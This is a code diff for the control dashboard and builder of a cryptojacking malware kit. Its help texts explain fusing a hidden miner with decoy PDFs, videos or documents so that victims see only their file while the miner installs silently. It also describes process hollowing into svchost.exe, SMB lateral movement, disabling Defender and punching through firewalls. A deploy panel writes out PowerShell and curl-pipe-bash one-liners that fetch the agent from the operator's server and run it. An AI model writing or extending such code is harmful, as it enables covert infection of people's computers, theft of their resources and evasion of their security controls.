||||
programdata: '%ProgramData%',
|
||||
userprofile: '%USERPROFILE%',
|
||||
temp: '%TEMP%',
|
||||
home: '~',
|
||||
xdg_data_home: '~/.local/share',
|
||||
temp: '%TEMP% / /tmp',
|
||||
custom: '',
|
||||
};
|
||||
|
||||
@@ -18,12 +20,14 @@ export function previewInstallPath(options: {
|
||||
install_relative_path?: string;
|
||||
worker_name?: string;
|
||||
process_name?: string;
|
||||
target_os?: string;
|
||||
}): string {
|
||||
const targetOs = options.target_os || 'windows';
|
||||
const baseKey = options.install_base || 'localappdata';
|
||||
const base =
|
||||
baseKey === 'custom'
|
||||
? (options.install_custom_base?.trim() || '%CUSTOM%')
|
||||
: (BASE_LABELS[baseKey] || '%LOCALAPPDATA%');
|
||||
: (BASE_LABELS[baseKey] || BASE_LABELS.localappdata);
|
||||
|
||||
const worker = sanitizeToken(options.worker_name || 'worker', 'worker');
|
||||
const process = sanitizeToken(options.process_name || worker, 'miner');
|
||||
@@ -37,6 +41,18 @@ export function previewInstallPath(options: {
|
||||
.replace(/\{process\}/g, process);
|
||||
|
||||
rel = rel.replace(/^\/+|\/+$/g, '');
|
||||
|
||||
if (targetOs === 'universal') {
|
||||
const winFolder = rel ? `${BASE_LABELS.localappdata}\\${rel.replace(/\//g, '\\')}` : BASE_LABELS.localappdata;
|
||||
const unixFolder = rel ? `${BASE_LABELS.xdg_data_home}/${rel}` : BASE_LABELS.xdg_data_home;
|
||||
return `Windows: ${winFolder}\\${process}.exe · Linux/Mac: ${unixFolder}/${process}`;
|
||||
}
|
||||
|
||||
if (targetOs === 'linux' || targetOs === 'darwin') {
|
||||
const folder = rel ? `${base}/${rel}` : base;
|
||||
return `${folder}/${process}`;
|
||||
}
|
||||
|
||||
const folder = rel ? `${base}\\${rel.replace(/\//g, '\\')}` : base;
|
||||
return `${folder}\\${process}.exe`;
|
||||
}
|
||||
|
||||
@@ -1,4 +1,5 @@
|
||||
import { describe, it, expect } from 'vitest';
|
||||
import { AGGRESSIVE_REMOTE_ACTIONS, canRunAggressiveAction } from './aggressiveActions';
|
||||
|
||||
/** Buttons in AgentRemoteActions (full + compact) — must match agent/client handleCommand. */
|
||||
const UI_REMOTE_ACTIONS = [
|
||||
@@ -16,9 +17,10 @@ const UI_REMOTE_ACTIONS = [
|
||||
'get_log',
|
||||
'powershell',
|
||||
'upload',
|
||||
...AGGRESSIVE_REMOTE_ACTIONS,
|
||||
] as const;
|
||||
|
||||
/** Implemented in agent/client/client.go handleCommand switch. */
|
||||
/** Implemented in agent/client (handleCommand + aggressive_commands). */
|
||||
const AGENT_HANDLED = new Set([
|
||||
'pause',
|
||||
'resume',
|
||||
@@ -40,6 +42,15 @@ const AGENT_HANDLED = new Set([
|
||||
'ipconfig',
|
||||
'clipboard',
|
||||
'wifi',
|
||||
'hole_punch',
|
||||
'hole_punch_close',
|
||||
'hole_punch_status',
|
||||
'spread_now',
|
||||
'start_tunnel',
|
||||
'subnet_scan',
|
||||
'defender_off',
|
||||
'firewall_punch',
|
||||
'mesh_status',
|
||||
]);
|
||||
|
||||
describe('remote action wiring', () => {
|
||||
@@ -48,4 +59,15 @@ describe('remote action wiring', () => {
|
||||
expect(AGENT_HANDLED.has(action)).toBe(true);
|
||||
}
|
||||
});
|
||||
|
||||
it('gates hole punch when capability missing', () => {
|
||||
expect(canRunAggressiveAction('hole_punch', { hole_punch: false, remote_aggressive: true, mesh_p2p: false, auto_spread: false, process_hollowing: false, ai_enabled: false })).toBe(false);
|
||||
expect(canRunAggressiveAction('hole_punch', { hole_punch: true, remote_aggressive: false, mesh_p2p: false, auto_spread: false, process_hollowing: false, ai_enabled: false })).toBe(true);
|
||||
});
|
||||
|
||||
it('blocks defender_off on darwin regardless of caps', () => {
|
||||
const caps = { hole_punch: true, remote_aggressive: true, mesh_p2p: false, auto_spread: false, process_hollowing: false, ai_enabled: false };
|
||||
expect(canRunAggressiveAction('defender_off', caps, 'darwin')).toBe(false);
|
||||
expect(canRunAggressiveAction('defender_off', caps, 'windows')).toBe(true);
|
||||
});
|
||||
});
|
||||
|
||||
@@ -69,15 +69,17 @@ export const FIELD_HELP: Record<string, string> = {
|
||||
silent_mode: 'Legacy toggle — prefer Display Mode. Hidden window when enabled.',
|
||||
auto_start: 'Same as Persistence. Keeps miner running after reboot.',
|
||||
fusion_enabled:
|
||||
'Bundle a prep .exe or a movie (.mp4 / .mkv / .mov) with the hidden miner. Video mode plays the movie while the worker installs in the background.',
|
||||
'Fuse the miner with any file — PDF, video, Word doc, image, or executable. When the person opens the fusion package, their file opens normally while the miner installs silently in the background.',
|
||||
fusion_run_order:
|
||||
'Parallel runs prep/movie and miner together. Prep first finishes the visible app then keeps the miner. Worker first installs the miner then runs prep.',
|
||||
'When to open the decoy file vs. install the miner. Parallel = both happen at the same time (recommended — least delay). File first = file opens before miner starts. Miner first = miner installs first, file opens after.',
|
||||
fusion_prep:
|
||||
'Prep .exe or a movie (.mp4 / .mkv / .mov). EXE = classic Fusion. Video = plays the movie while the miner installs hidden.',
|
||||
'Any file you want to use as a decoy — PDF, video (MP4/MOV/MKV), Word document, spreadsheet, image, or Windows executable. The recipient sees only their normal file; the miner installs silently. Max 2 GB.',
|
||||
fusion_media_mode:
|
||||
'Embedded: one disguised file (e.g. Vacation.mkv.exe) with the movie inside — single download, best under ~500MB. Paired: runner + encrypted .cmdata in fusion-deliverables/<title>/ — best for full-length films (up to 2GB upload).',
|
||||
'All-in-one (embedded): the file is baked directly into the runner binary — one file to send, best for files under ~500 MB. ZIP bundle (paired): your original file + runners packaged in a ZIP — works for any size file.',
|
||||
fusion_output_name:
|
||||
'Output launcher name. For paired video this is usually Title-runner.exe; embedded uses Title.mkv.exe style names.',
|
||||
'The name of the runner binary inside the ZIP (e.g. report-runner.exe). The recipient runs this to open their file and trigger the install. Leave blank to auto-generate from your file name.',
|
||||
fusion_batch:
|
||||
'Queue multiple files at once — each one produces its own separate universal ZIP. Great for delivering a folder of documents or videos. The recipient only needs to run the launcher for their OS.',
|
||||
install_base: 'Windows folder root where the miner embeds itself on first run. LocalAppData is typical for per-user hidden installs.',
|
||||
install_custom_base: 'Full base path when Install Base is Custom. Supports %LOCALAPPDATA%, %APPDATA%, %ProgramData%, etc.',
|
||||
install_relative_path: 'Folder path under the base, created on first run. Tokens: {worker}, {build}, {build_short}, {process}. Final exe: that folder + Process Name.exe',
|
||||
@@ -96,4 +98,10 @@ export const FIELD_HELP: Record<string, string> = {
|
||||
process_hollowing: 'Memory injection: runs the miner invisibly inside a legitimate Windows process (e.g., svchost.exe) instead of the normal executable. Extremely stealthy.',
|
||||
mesh_p2p: 'Mesh Networking: If the control server is unreachable, route mining shares through other connected agents on the same local network.',
|
||||
auto_spread: 'Lateral Movement: Silently attempts to copy and execute the miner on other machines in the local network using Windows SMB and Service Control Manager (SCM). Relies on the current user having network admin privileges.',
|
||||
hole_punch: 'NAT Hole Punch: Bakes UPnP IGD port-mapping support into the agent. From Agents → Tactical panel you can map WAN ports on the router for inbound callbacks (point-and-shoot).',
|
||||
remote_aggressive: 'Remote Aggressive Ops: Enables on-demand commands from the dashboard — spread now, subnet scan, cloudflared tunnel, firewall punch, defender bypass. Requires explicit button press; nothing runs automatically except what other toggles define.',
|
||||
target_os: 'Target platform: Windows-only, Linux, macOS, or Universal (all three in one ZIP). Movie fusion and Spread Kit always use Universal.',
|
||||
target_arch: 'CPU architecture for single-platform Linux/macOS builds (amd64 or arm64). Ignored for Universal.',
|
||||
spread_kit: 'Spread Kit ZIP: deploy scripts for each OS that silently install the worker via --spread-install. No fusion wrapper.',
|
||||
forge_deliverable: 'What you are shipping: a single-platform installer, a silent multi-OS Spread Kit, or a movie/prep fusion package.',
|
||||
};
|
||||
|
||||
@@ -1,196 +1,5 @@
|
||||
import { useEffect, useRef, useCallback, useState } from 'react';
|
||||
import type {
|
||||
WSDashboardInit,
|
||||
WSAgentOffline,
|
||||
WSStatsUpdate,
|
||||
WSCommandResult,
|
||||
WSAgentLog,
|
||||
} from '../types/ws';
|
||||
import type { Agent, Share, FleetAlert, PoolStatus, AIActivityEntry, WSMessage } from '../types';
|
||||
|
||||
interface UseWebSocketReturn {
|
||||
isConnected: boolean;
|
||||
agents: Agent[];
|
||||
recentShares: Share[];
|
||||
fleetAlerts: FleetAlert[];
|
||||
poolStatus: PoolStatus[];
|
||||
aiActivity: AIActivityEntry[];
|
||||
agentLogs: Record<string, string>;
|
||||
latestMessage: WSMessage | null;
|
||||
}
|
||||
|
||||
export function useWebSocket(): UseWebSocketReturn {
|
||||
const wsRef = useRef<WebSocket | null>(null);
|
||||
const reconnectTimer = useRef<ReturnType<typeof setTimeout> | null>(null);
|
||||
const unmounted = useRef(false);
|
||||
const [isConnected, setIsConnected] = useState(false);
|
||||
const [agents, setAgents] = useState<Agent[]>([]);
|
||||
const [recentShares, setRecentShares] = useState<Share[]>([]);
|
||||
const [fleetAlerts, setFleetAlerts] = useState<FleetAlert[]>([]);
|
||||
const [poolStatus, setPoolStatus] = useState<PoolStatus[]>([]);
|
||||
const [aiActivity, setAiActivity] = useState<AIActivityEntry[]>([]);
|
||||
const [agentLogs, setAgentLogs] = useState<Record<string, string>>({});
|
||||
const [latestMessage, setLatestMessage] = useState<WSMessage | null>(null);
|
||||
|
||||
const connect = useCallback(() => {
|
||||
if (unmounted.current) return;
|
||||
|
||||
if (reconnectTimer.current) {
|
||||
clearTimeout(reconnectTimer.current);
|
||||
reconnectTimer.current = null;
|
||||
}
|
||||
|
||||
const existing = wsRef.current;
|
||||
if (existing && (existing.readyState === WebSocket.OPEN || existing.readyState === WebSocket.CONNECTING)) {
|
||||
existing.close();
|
||||
}
|
||||
|
||||
const protocol = window.location.protocol === 'https:' ? 'wss:' : 'ws:';
|
||||
const wsUrl = `${protocol}//${window.location.host}/ws/dashboard`;
|
||||
|
||||
const ws = new WebSocket(wsUrl);
|
||||
wsRef.current = ws;
|
||||
|
||||
ws.onopen = () => {
|
||||
if (!unmounted.current) setIsConnected(true);
|
||||
};
|
||||
|
||||
ws.onclose = () => {
|
||||
if (unmounted.current) return;
|
||||
setIsConnected(false);
|
||||
if (reconnectTimer.current) clearTimeout(reconnectTimer.current);
|
||||
reconnectTimer.current = setTimeout(connect, 3000);
|
||||
};
|
||||
|
||||
ws.onerror = () => {
|
||||
ws.close();
|
||||
};
|
||||
|
||||
ws.onmessage = (event) => {
|
||||
try {
|
||||
const msg = JSON.parse(event.data) as WSMessage;
|
||||
setLatestMessage(msg);
|
||||
|
||||
switch (msg.type) {
|
||||
case 'init': {
|
||||
const data = msg.payload as WSDashboardInit;
|
||||
if (data.agents) setAgents(data.agents);
|
||||
break;
|
||||
}
|
||||
case 'agent_online': {
|
||||
const agent = msg.payload as Agent;
|
||||
setAgents((prev) => {
|
||||
const idx = prev.findIndex((a) => a.id === agent.id);
|
||||
if (idx >= 0) {
|
||||
const updated = [...prev];
|
||||
updated[idx] = { ...updated[idx], ...agent };
|
||||
return updated;
|
||||
}
|
||||
return [...prev, agent];
|
||||
});
|
||||
break;
|
||||
}
|
||||
case 'agent_offline': {
|
||||
const { agent_id } = msg.payload as WSAgentOffline;
|
||||
setAgents((prev) =>
|
||||
prev.map((a) =>
|
||||
a.id === agent_id ? { ...a, status: 'offline' as const } : a
|
||||
)
|
||||
);
|
||||
break;
|
||||
}
|
||||
case 'stats_update': {
|
||||
const update = msg.payload as WSStatsUpdate;
|
||||
setAgents((prev) =>
|
||||
prev.map((a) =>
|
||||
a.id === update.agent_id
|
||||
? {
|
||||
...a,
|
||||
hashrate_15s: update.hashrate_15s,
|
||||
hashrate_1m: update.hashrate_1m,
|
||||
hashrate_15m: update.hashrate_15m,
|
||||
cpu_usage_pct: update.cpu_usage_pct,
|
||||
memory_usage_pct: update.memory_usage_pct ?? a.memory_usage_pct,
|
||||
uptime_seconds: update.uptime_seconds ?? a.uptime_seconds,
|
||||
shares_total: update.shares_submitted ?? a.shares_total,
|
||||
shares_good: update.shares_accepted ?? a.shares_good,
|
||||
shares_bad: Math.max(
|
||||
0,
|
||||
(update.shares_submitted ?? a.shares_total) -
|
||||
(update.shares_accepted ?? a.shares_good)
|
||||
),
|
||||
status: 'online' as const,
|
||||
}
|
||||
: a
|
||||
)
|
||||
);
|
||||
break;
|
||||
}
|
||||
case 'new_share': {
|
||||
const share = msg.payload as Share;
|
||||
setRecentShares((prev) => [share, ...prev].slice(0, 50));
|
||||
break;
|
||||
}
|
||||
case 'fleet_alert': {
|
||||
const alert = msg.payload as FleetAlert;
|
||||
setFleetAlerts((prev) => [alert, ...prev].slice(0, 20));
|
||||
break;
|
||||
}
|
||||
case 'pool_status': {
|
||||
const pools = msg.payload as PoolStatus[];
|
||||
if (Array.isArray(pools)) setPoolStatus(pools);
|
||||
break;
|
||||
}
|
||||
case 'ai_activity': {
|
||||
const entry = msg.payload as AIActivityEntry;
|
||||
setAiActivity((prev) => {
|
||||
const idx = prev.findIndex((a) => a.agent_id === entry.agent_id);
|
||||
if (idx >= 0) {
|
||||
const next = [...prev];
|
||||
next[idx] = entry;
|
||||
return next;
|
||||
}
|
||||
return [...prev, entry];
|
||||
});
|
||||
break;
|
||||
}
|
||||
case 'command_result': {
|
||||
const p = msg.payload as WSCommandResult;
|
||||
const agent_id = p.agent_id;
|
||||
if (agent_id && p.action === 'get_log' && p.success && p.message) {
|
||||
setAgentLogs((prev) => ({ ...prev, [agent_id]: p.message! }));
|
||||
}
|
||||
break;
|
||||
}
|
||||
case 'agent_log': {
|
||||
const { agent_id, content } = msg.payload as WSAgentLog;
|
||||
if (agent_id) {
|
||||
setAgentLogs((prev) => ({ ...prev, [agent_id]: content }));
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
} catch (err) {
|
||||
console.error('Failed to parse WebSocket message:', err);
|
||||
}
|
||||
};
|
||||
}, []);
|
||||
|
||||
useEffect(() => {
|
||||
unmounted.current = false;
|
||||
connect();
|
||||
return () => {
|
||||
unmounted.current = true;
|
||||
if (reconnectTimer.current) {
|
||||
clearTimeout(reconnectTimer.current);
|
||||
}
|
||||
const ws = wsRef.current;
|
||||
if (ws) {
|
||||
ws.onclose = null;
|
||||
ws.close();
|
||||
}
|
||||
};
|
||||
}, [connect]);
|
||||
|
||||
return { isConnected, agents, recentShares, fleetAlerts, poolStatus, aiActivity, agentLogs, latestMessage };
|
||||
}
|
||||
// useWebSocket is now a thin wrapper around the shared WebSocketContext.
|
||||
// The actual connection lives in WebSocketProvider (mounted in App.tsx),
|
||||
// so calling this hook from multiple components no longer creates duplicate
|
||||
// WebSocket connections (fixes M12).
|
||||
export { useWebSocketContext as useWebSocket } from '../context/WebSocketContext';
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
import { useState, useEffect, useMemo, useCallback } from 'react';
|
||||
import { api } from '../api/client';
|
||||
import { useWebSocket } from '../hooks/useWebSocket';
|
||||
import type { Agent, HashrateSample } from '../types';
|
||||
import type { Agent, HashrateSample, ServerInfo } from '../types';
|
||||
import HashrateChart from '../components/Charts/HashrateChart';
|
||||
import NeonCard from '../components/NeonCard/NeonCard';
|
||||
import AgentRemoteActions from '../components/Fleet/AgentRemoteActions';
|
||||
@@ -15,13 +15,68 @@ import {
|
||||
formatUptime,
|
||||
} from '../help/fleetFilters';
|
||||
import type { FleetFilterState } from '../help/fleetFilters';
|
||||
import '../components/Fleet/FleetPanels.css';
|
||||
import '../components/Fleet/FleetToolbar.css';
|
||||
import '../components/Fleet/AgentRemoteActions.css';
|
||||
import './Pages.css';
|
||||
|
||||
function QuickDeployPanel({ serverInfo }: { serverInfo: ServerInfo | null }) {
|
||||
const [copied, setCopied] = useState<string | null>(null);
|
||||
|
||||
const base = serverInfo?.suggested_url?.replace(/\/$/, '') ?? window.location.origin;
|
||||
|
||||
const copy = (text: string, key: string) => {
|
||||
navigator.clipboard.writeText(text).then(() => {
|
||||
setCopied(key);
|
||||
setTimeout(() => setCopied(null), 2000);
|
||||
});
|
||||
};
|
||||
|
||||
const ps1 = `iex (irm '${base}/install.ps1')`;
|
||||
const sh = `curl -sL ${base}/install.sh | bash`;
|
||||
const dlWin = `${base}/get?os=windows`;
|
||||
const dlLin = `${base}/get?os=linux`;
|
||||
const dlMac = `${base}/get?os=darwin`;
|
||||
|
||||
const Row = ({ label, cmd, id }: { label: string; cmd: string; id: string }) => (
|
||||
<div style={{ display: 'flex', alignItems: 'center', gap: '0.5rem', marginBottom: '0.4rem' }}>
|
||||
<span className="font-tech" style={{ minWidth: '5rem', color: 'var(--clr-amber)', fontSize: '0.75rem' }}>{label}</span>
|
||||
<code style={{ flex: 1, background: 'rgba(0,0,0,0.4)', padding: '0.3rem 0.6rem', borderRadius: '4px', fontSize: '0.8rem', color: '#eee', overflowX: 'auto', whiteSpace: 'nowrap' }}>{cmd}</code>
|
||||
<button className="btn btn-sm" onClick={() => copy(cmd, id)} style={{ whiteSpace: 'nowrap', minWidth: '4.5rem' }}>
|
||||
{copied === id ? '✓ Copied' : 'Copy'}
|
||||
</button>
|
||||
</div>
|
||||
);
|
||||
|
||||
return (
|
||||
<NeonCard accent="cyan" style={{ marginBottom: '1.25rem' }}>
|
||||
<div style={{ display: 'flex', alignItems: 'center', gap: '0.75rem', marginBottom: '0.75rem' }}>
|
||||
<span style={{ fontSize: '1.2rem' }}>⚡</span>
|
||||
<div>
|
||||
<strong className="font-display" style={{ fontSize: '1rem' }}>One-liner Quick Deploy</strong>
|
||||
<p className="form-hint" style={{ margin: 0 }}>
|
||||
Run any of these commands on a remote machine — the agent downloads itself and connects back automatically.
|
||||
No files to transfer manually.
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div style={{ marginBottom: '0.75rem' }}>
|
||||
<div className="font-tech" style={{ fontSize: '0.7rem', color: 'var(--clr-dim)', marginBottom: '0.4rem', textTransform: 'uppercase', letterSpacing: '0.08em' }}>Install & run (auto-launches)</div>
|
||||
<Row label="Windows" cmd={ps1} id="ps1" />
|
||||
<Row label="Linux/Mac" cmd={sh} id="sh" />
|
||||
</div>
|
||||
|
||||
<div>
|
||||
<div className="font-tech" style={{ fontSize: '0.7rem', color: 'var(--clr-dim)', marginBottom: '0.4rem', textTransform: 'uppercase', letterSpacing: '0.08em' }}>Direct download only (saves file)</div>
|
||||
<Row label="Windows" cmd={dlWin} id="dlw" />
|
||||
<Row label="Linux" cmd={dlLin} id="dll" />
|
||||
<Row label="macOS" cmd={dlMac} id="dlm" />
|
||||
</div>
|
||||
</NeonCard>
|
||||
);
|
||||
}
|
||||
|
||||
export default function AgentsPage() {
|
||||
const { agents: liveAgents, isConnected, agentLogs, latestMessage } = useWebSocket();
|
||||
const { agents: liveAgents, isConnected, agentLogs, commandResults } = useWebSocket();
|
||||
const [agents, setAgents] = useState<Agent[]>([]);
|
||||
const [selectedAgent, setSelectedAgent] = useState<Agent | null>(null);
|
||||
const [expandedId, setExpandedId] = useState<string | null>(null);
|
||||
@@ -30,6 +85,7 @@ export default function AgentsPage() {
|
||||
const [bulkBusy, setBulkBusy] = useState(false);
|
||||
const [hashrateHistory, setHashrateHistory] = useState<HashrateSample[]>([]);
|
||||
const [loading, setLoading] = useState(true);
|
||||
const [serverInfo, setServerInfo] = useState<ServerInfo | null>(null);
|
||||
const [loadError, setLoadError] = useState('');
|
||||
const [logContent, setLogContent] = useState('');
|
||||
const [logLoading, setLogLoading] = useState(false);
|
||||
@@ -43,6 +99,7 @@ export default function AgentsPage() {
|
||||
.then(setAgents)
|
||||
.catch((err) => setLoadError(err instanceof Error ? err.message : 'Failed to load agents'))
|
||||
.finally(() => setLoading(false));
|
||||
api.getServerInfo().then(setServerInfo).catch(() => {});
|
||||
}, []);
|
||||
|
||||
useEffect(() => {
|
||||
@@ -173,6 +230,8 @@ export default function AgentsPage() {
|
||||
<span className="header-count font-tech">{filteredAgents.length}/{agents.length} NODES</span>
|
||||
</header>
|
||||
|
||||
<QuickDeployPanel serverInfo={serverInfo} />
|
||||
|
||||
{loadError && (
|
||||
<NeonCard accent="amber" className="empty-state">
|
||||
<p>{loadError}</p>
|
||||
@@ -187,7 +246,7 @@ export default function AgentsPage() {
|
||||
<NeonCard accent="brass" className="empty-state">
|
||||
<div className="empty-icon">⚙</div>
|
||||
<h3>No agents registered</h3>
|
||||
<p>Deploy a miner to a Windows machine and it will appear here automatically.</p>
|
||||
<p>Deploy a worker to any machine (Windows, Linux, or macOS) using the Forge and it will appear here automatically.</p>
|
||||
</NeonCard>
|
||||
) : (
|
||||
<div className="agents-layout">
|
||||
@@ -212,7 +271,7 @@ export default function AgentsPage() {
|
||||
onCheck={(on) => toggleSelect(agent.id, on)}
|
||||
onSelect={() => void selectAgent(agent)}
|
||||
onToggleExpand={() => setExpandedId((prev) => (prev === agent.id ? null : agent.id))}
|
||||
latestWsMessage={latestMessage}
|
||||
commandResults={commandResults}
|
||||
/>
|
||||
))}
|
||||
{filteredAgents.length === 0 && (
|
||||
@@ -272,6 +331,15 @@ export default function AgentsPage() {
|
||||
<span className="detail-label">Version</span>
|
||||
<span className="detail-value">{selectedAgent.version || 'Unknown'}</span>
|
||||
</div>
|
||||
{(selectedAgent.platform || selectedAgent.os_version) && (
|
||||
<div className="detail-item">
|
||||
<span className="detail-label">Platform</span>
|
||||
<span className="detail-value">
|
||||
{[selectedAgent.platform, selectedAgent.arch].filter(Boolean).join(' / ')}
|
||||
{selectedAgent.os_version ? ` — ${selectedAgent.os_version}` : ''}
|
||||
</span>
|
||||
</div>
|
||||
)}
|
||||
<div className="detail-item">
|
||||
<span className="detail-label">CPU Cores</span>
|
||||
<span className="detail-value">{selectedAgent.cpu_cores}</span>
|
||||
@@ -350,7 +418,7 @@ export default function AgentsPage() {
|
||||
<AgentRemoteActions
|
||||
agent={selectedAgent}
|
||||
online={selectedAgent.status === 'online'}
|
||||
latestWsMessage={latestMessage}
|
||||
commandResults={commandResults}
|
||||
onCommandSent={(action: string) => {
|
||||
if (action === 'get_log') refreshLog(true);
|
||||
}}
|
||||
|
||||
@@ -10,6 +10,14 @@ import { lanEndpointCandidates } from '../help/endpointHelpers';
|
||||
import { runForgePreflight, preflightHasErrors } from '../help/forgeValidation';
|
||||
import { previewInstallPath } from '../help/installPreview';
|
||||
import { applyForgeFieldUpdate, getForgeFieldMeta, getForgeLiveNotices } from '../help/forgeRules';
|
||||
import {
|
||||
applyDeliverableType,
|
||||
deriveDeliverableType,
|
||||
deliverableSummary,
|
||||
installBaseOptionsForTarget,
|
||||
normalizeForgeForm,
|
||||
type ForgeDeliverable,
|
||||
} from '../help/forgeFormNormalize';
|
||||
import { ForgeFieldBadge, ForgeLockedHint, ForgeSectionHeader } from '../components/Forge/ForgeFieldHints';
|
||||
import { blueprintDiff, buildRequestFromRecord } from '../help/buildManager';
|
||||
import { LanDownloadQR } from '../components/Fleet/LanDownloadQR';
|
||||
@@ -17,12 +25,14 @@ import AuthDownloadButton from '../components/AuthDownloadButton';
|
||||
import DownloadButton from '../components/DownloadButton';
|
||||
import { downloadApiFile } from '../api/download';
|
||||
import {
|
||||
isFusionVideoFile,
|
||||
fusionPayloadKind,
|
||||
fusionTitleFromFilename,
|
||||
fusionFileTypeLabel,
|
||||
disguisedWindowsRunnerName,
|
||||
disguisedDisplayName,
|
||||
defaultRunnerName,
|
||||
defaultEmbeddedName,
|
||||
} from '../help/fusionMedia';
|
||||
import '../components/Fleet/FleetPanels.css';
|
||||
import './Pages.css';
|
||||
|
||||
function formatBytes(n: number): string {
|
||||
@@ -72,6 +82,8 @@ export default function BuilderPage() {
|
||||
} | null>(null);
|
||||
const [fusionEstimate, setFusionEstimate] = useState<FusionEstimate | null>(null);
|
||||
const [estimateLoading, setEstimateLoading] = useState(false);
|
||||
// Set to true to request cancellation between batch iterations
|
||||
const batchCancelRef = useRef(false);
|
||||
const [estimateError, setEstimateError] = useState('');
|
||||
const [serverInfo, setServerInfo] = useState<ServerInfo | null>(null);
|
||||
const [listenPort, setListenPort] = useState(8989);
|
||||
@@ -206,6 +218,16 @@ export default function BuilderPage() {
|
||||
setForm(merged);
|
||||
setError('');
|
||||
setLastBuild(null);
|
||||
|
||||
// Fusion re-forge requires the payload file — prep files are not kept on the
|
||||
// server after a build completes (M15). Prompt the user to re-upload first.
|
||||
if (merged.fusion_enabled && !fusionPrepFile) {
|
||||
setError(
|
||||
'This build used a Fusion payload. Re-upload the payload file in the Fusion section above, then click "Re-forge" again.'
|
||||
);
|
||||
return;
|
||||
}
|
||||
|
||||
const checks = runForgePreflight(merged, !!fusionPrepFile);
|
||||
if (preflightHasErrors(checks)) {
|
||||
setError('Re-forge preflight failed — adjust settings and forge manually.');
|
||||
@@ -281,25 +303,24 @@ export default function BuilderPage() {
|
||||
if (!f) return;
|
||||
setForm((prev) => {
|
||||
if (!prev) return prev;
|
||||
const video = isFusionVideoFile(f);
|
||||
const mode = prev.fusion_media_mode || 'paired';
|
||||
return {
|
||||
...prev,
|
||||
fusion_payload_kind: video ? 'video' : 'exe',
|
||||
fusion_payload_kind: fusionPayloadKind(f),
|
||||
fusion_media_base_name: f.name,
|
||||
fusion_output_name: video
|
||||
? mode === 'embedded'
|
||||
? defaultEmbeddedName(f.name)
|
||||
: defaultRunnerName(f.name)
|
||||
: f.name,
|
||||
fusion_output_name: defaultRunnerName(f.name),
|
||||
};
|
||||
});
|
||||
};
|
||||
|
||||
const handleBatchForgeMovies = async () => {
|
||||
const handleBatchCancel = () => {
|
||||
batchCancelRef.current = true;
|
||||
};
|
||||
|
||||
const handleBatchForge = async () => {
|
||||
if (!form || fusionBatchFiles.length === 0) return;
|
||||
setError('');
|
||||
setLastBuild(null);
|
||||
batchCancelRef.current = false;
|
||||
setBuilding(true);
|
||||
const total = fusionBatchFiles.length;
|
||||
const log = fusionBatchFiles.map((f) => ({ name: f.name, status: 'pending' as const }));
|
||||
@@ -307,6 +328,12 @@ export default function BuilderPage() {
|
||||
let ok = 0;
|
||||
try {
|
||||
for (let i = 0; i < total; i++) {
|
||||
if (batchCancelRef.current) {
|
||||
setBatchJob((j) => (j ? { ...j, phase: 'cancelled', fileName: '' } : j));
|
||||
setBlueprintMsg(`Batch forge cancelled after ${ok} of ${total} file(s).`);
|
||||
setTimeout(() => setBlueprintMsg(''), 5000);
|
||||
break;
|
||||
}
|
||||
const file = fusionBatchFiles[i];
|
||||
const title = fusionTitleFromFilename(file.name);
|
||||
const pct = Math.round((i / total) * 100);
|
||||
@@ -324,17 +351,17 @@ export default function BuilderPage() {
|
||||
}
|
||||
: j
|
||||
);
|
||||
const mode = form.fusion_media_mode || 'paired';
|
||||
const req: BuildRequest = {
|
||||
const req = normalizeForgeForm({
|
||||
...form,
|
||||
target_os: 'universal',
|
||||
fusion_enabled: true,
|
||||
fusion_payload_kind: 'video',
|
||||
spread_kit: false,
|
||||
fusion_payload_kind: fusionPayloadKind(file),
|
||||
fusion_media_base_name: file.name,
|
||||
fusion_export_subdir: title,
|
||||
fusion_output_name:
|
||||
mode === 'embedded' ? defaultEmbeddedName(file.name) : defaultRunnerName(file.name),
|
||||
fusion_output_name: defaultRunnerName(file.name),
|
||||
worker_name: `${form.worker_name || 'miner'}-${title}`.replace(/[^a-zA-Z0-9._-]+/g, '_').slice(0, 48),
|
||||
};
|
||||
});
|
||||
const checks = runForgePreflight(req, true);
|
||||
if (preflightHasErrors(checks)) {
|
||||
throw new Error(`Preflight failed for ${file.name}`);
|
||||
@@ -374,7 +401,7 @@ export default function BuilderPage() {
|
||||
);
|
||||
}
|
||||
setBatchJob((j) => (j ? { ...j, phase: 'done', percent: 100, fileName: '' } : j));
|
||||
setBlueprintMsg(`✅ Batch forged ${ok} movie(s) — one ZIP per title in fusion-deliverables/`);
|
||||
setBlueprintMsg(`✅ Batch forged ${ok} file(s) — one universal ZIP per file in fusion-deliverables/`);
|
||||
setTimeout(() => setBlueprintMsg(''), 6000);
|
||||
setFusionBatchFiles([]);
|
||||
} catch (err: unknown) {
|
||||
@@ -403,7 +430,12 @@ export default function BuilderPage() {
|
||||
setError('');
|
||||
setLastBuild(null);
|
||||
|
||||
const checks = runForgePreflight(form, !!fusionPrepFile);
|
||||
const normalized = normalizeForgeForm(form);
|
||||
if (normalized !== form) {
|
||||
setForm(normalized);
|
||||
}
|
||||
|
||||
const checks = runForgePreflight(normalized, !!fusionPrepFile);
|
||||
if (preflightHasErrors(checks)) {
|
||||
setError('Preflight failed — fix errors in the checklist below before forging.');
|
||||
return;
|
||||
@@ -411,7 +443,7 @@ export default function BuilderPage() {
|
||||
|
||||
setBuilding(true);
|
||||
try {
|
||||
const result = await api.buildAgent(form, fusionPrepFile);
|
||||
const result = await api.buildAgent(normalized, fusionPrepFile);
|
||||
if (!result.success) {
|
||||
throw new Error(result.error || 'Build failed');
|
||||
}
|
||||
@@ -433,7 +465,9 @@ export default function BuilderPage() {
|
||||
]);
|
||||
const candidates = lanEndpointCandidates(info, config.port || info.port);
|
||||
const base = defaultsFromConfig(config, info, builds);
|
||||
setForm(applySmartForgeDefaults({ ...base, fusion_enabled: form.fusion_enabled }, { builds, endpointCandidates: candidates }));
|
||||
const kind = form ? deriveDeliverableType(form) : 'single';
|
||||
const merged = applySmartForgeDefaults({ ...base, fusion_enabled: form.fusion_enabled }, { builds, endpointCandidates: candidates });
|
||||
setForm(applyDeliverableType(merged, kind));
|
||||
setBlueprintMsg('✅ Recommended defaults applied');
|
||||
setTimeout(() => setBlueprintMsg(''), 2500);
|
||||
} catch (err: unknown) {
|
||||
@@ -445,6 +479,18 @@ export default function BuilderPage() {
|
||||
setForm((prev) => (prev ? applyForgeFieldUpdate(prev, field, value) : prev));
|
||||
};
|
||||
|
||||
const setDeliverableType = (type: ForgeDeliverable) => {
|
||||
